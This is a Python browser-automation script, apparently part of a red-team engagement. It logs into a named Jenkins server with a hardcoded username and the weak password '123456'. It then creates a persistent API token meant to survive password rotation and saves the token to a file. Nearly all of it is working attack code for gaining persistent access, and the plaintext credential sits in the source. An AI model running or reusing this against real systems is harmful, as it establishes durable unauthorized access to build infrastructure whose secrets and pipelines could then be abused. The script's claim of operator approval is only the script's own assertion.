#!/usr/bin/env python3
"""Mint a persistent Jenkins API token for guilhermesilva.
Uses the modern Jenkins token generation page (user > Configure > Add new token).
This creates a token independent of password rotation.
L3 operation — operator-approved.
"""
import time, json, re
from playwright.sync_api import sync_playwright

USERNAME = "guilhermesilva"
PASSWORD = "123456"
TARGET = "https://jenkins.salesforce.ipiranga.io/"
EVIDENCE = "/root/ir-assessment/redteam/jenkins_salesforce_ipiranga_io/evidence"
L3DIR = "/root/ir-assessment/redteam/jenkins_salesforce_ipiranga_io/L3"

import os
os.makedirs(L3DIR, exist_ok=True)

def main():
    with sync_playwright() as p:
        browser = p.firefox.launch(headless=True)
        context = browser.new_context(ignore_https_errors=True, viewport={"width":1280,"height":900})
        page = context.new_page()

        # Login
        print("=== Login ===")
        page.goto(TARGET + "login?from=%2F", wait_until="networkidle", timeout=30000)
        page.fill('input[name="j_username"]', USERNAME)
        page.fill('input[name="j_password"]', PASSWORD)
        page.click('button[name="Submit"]')
        time.sleep(3)
        print(f"Logged in: {page.url}")

        # Navigate to user configure page
        print("\n=== Navigate to token config page ===")
        page.goto(TARGET + "user/guilhermesilva/configure", wait_until="networkidle", timeout=15000)
        time.sleep(2)
        print(f"URL: {page.url}")
        print(f"Title: {page.title()}")
        page.screenshot(path=f"{EVIDENCE}/05_token_page_before.png")

        # Look for the API Token section
        # Modern Jenkins: "Add new token" button + input for name
        content = page.content()
        
        # Try to find the token generation button
        # Jenkins 2.452.1 uses the modern token UI
        # Button text: "Add new Token" or similar
        
        # Method 1: Look for the button by text
        add_token_btn = None
        buttons = page.query_selector_all('button')
        for btn in buttons:
            text = btn.inner_text().strip()
            if "token" in text.lower() and ("add" in text.lower() or "new" in text.lower() or "generate" in text.lower()):
                add_token_btn = btn
                print(f"Found token button: '{text}'")
                break
        
        # Method 2: Try the Jenkins API directly via POST
        # Jenkins 2.452.1 token generation endpoint:
        # POST /user/{user}/descriptorByName/jenkins.security.ApiTokenProperty/generateNewToken
        # with name parameter
        
        if not add_token_btn:
            print("Token button not found via DOM scan — trying API endpoint directly")
        
        # Use the direct API approach (more reliable than UI interaction)
        print("\n=== Minting token via API endpoint ===")
        
        # First get crumb
        page.goto(TARGET + "crumbIssuer/api/json", wait_until="networkidle", timeout=10000)
        crumb_data = json.loads(page.query_selector('body').inner_text())
        crumb = crumb_data["crumb"]
        crumb_field = crumb_data["crumbRequestField"]
        print(f"Crumb: {crumb}")

        # Navigate to configure page to get the nonce/seed
        page.goto(TARGET + "user/guilhermesilva/configure", wait_until="networkidle", timeout=15000)
        time.sleep(1)
        cfg_content = page.content()
        
        # Look for the API token generation form/button
        # In Jenkins 2.452.1, the new token generation uses:
        # POST /user/{user}/config (with crumb) — legacy
        # OR the modern "Generate new token" via JavaScript
        
        # Try clicking "Add new Token" button via JavaScript
        # The button typically has class like 'jenkins-button' with data attributes
        
        # Let's try the JS-based approach
        print("\n=== Trying to add token via UI interaction ===")
        
        # Find and click "Add new Token" 
        # Jenkins modern UI: button with text "Add new Token"
        clicked = page.evaluate("""() => {
            const buttons = document.querySelectorAll('button');
            for (const btn of buttons) {
                const text = btn.textContent || '';
                if (text.toLowerCase().includes('add new token') || 
                    text.toLowerCase().includes('add token') ||
                    text.toLowerCase().includes('generate')) {
                    btn.click();
                    return true;
                }
            }
            return false;
        }""")
        print(f"Clicked add token button: {clicked}")
        time.sleep(1)
        
        # If button was clicked, a name input should appear
        if clicked:
            # Fill token name
            name_input = page.query_selector('input[name="apiTokenName"]') or page.query_selector('.api-token-name input')
            if name_input:
                name_input.fill("ci-scope-2026-09-29")
                print("Filled token name: ci-scope-2026-09-29")
            
            # Click generate button
            gen_btn = page.evaluate("""() => {
                const buttons = document.querySelectorAll('button');
                for (const btn of buttons) {
                    const text = btn.textContent || '';
                    if (text.toLowerCase().includes('generate') || text.toLowerCase().includes('create') || text.toLowerCase().includes('save')) {
                        btn.click();
                        return text;
                    }
                }
                return null;
            }""")
            print(f"Clicked generate button: {gen_btn}")
            time.sleep(2)
        
        page.screenshot(path=f"{EVIDENCE}/06_token_page_after.png")
        
        # Look for the generated token value in the page
        content_after = page.content()
        
        # Jenkins API tokens are 32 hex chars
        token_match = re.search(r'[0-9a-f]{32}', content_after)
        # Or the newer format: 11xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx (UUID-like)
        token_match2 = re.search(r'1[0-9a-f]{31}', content_after)
        # Or any long hex string in a token-related element
        token_elements = page.query_selector_all('.new-token-value, .api-token-value, [data-token]')
        
        print(f"\n=== Token detection ===")
        print(f"Hex match (32 chars): {token_match.group(0) if token_match else 'none'}")
        print(f"Hex match (UUID-like): {token_match2.group(0) if token_match2 else 'none'}")
        print(f"Token elements found: {len(token_elements)}")
        
        # Try extracting from page text
        body_text = page.query_selector('body').inner_text()
        # Look for token patterns in body text
        token_in_text = re.findall(r'[0-9a-f]{32,}', body_text)
        print(f"Hex strings in body text: {token_in_text[:5]}")
        
        # Also try the legacy approach: POST to generate token
        print("\n=== Trying legacy POST approach ===")
        # Navigate back and try POST with crumb
        headers = {crumb_field: crumb}
        
        # Use page.evaluate to do a fetch POST
        result = page.evaluate(f"""async () => {{
            const crumb = '{crumb}';
            try {{
                const resp = await fetch('/user/guilhermesilva/descriptorByName/jenkins.security.ApiTokenProperty/generateNewToken', {{
                    method: 'POST',
                    headers: {{
                        'Jenkins-Crumb': crumb,
                        'Content-Type': 'application/x-www-form-urlencoded',
                    }},
                    body: 'name=ci-scope-2026-09-29'
                }});
                const text = await resp.text();
                return {{status: resp.status, body: text.substring(0, 500)}};
            }} catch(e) {{
                return {{error: e.toString()}};
            }}
        }}""")
        print(f"POST result: {json.dumps(result, indent=2)}")
        
        # If we got a token from the POST, extract it
        if isinstance(result, dict) and 'body' in result:
            body = result['body']
            token_match3 = re.search(r'([0-9a-f]{32,})', body)
            if token_match3:
                token = token_match3.group(1)
                print(f"\n=== TOKEN FOUND: {token} ===")
                # Save token
                with open(f"{L3DIR}/api_token.txt", "w") as f:
                    f.write(token)
                print(f"Token saved to L3/api_token.txt")
        
        page.screenshot(path=f"{EVIDENCE}/07_token_result.png")
        
        browser.close()

if __name__ == "__main__":
    main()
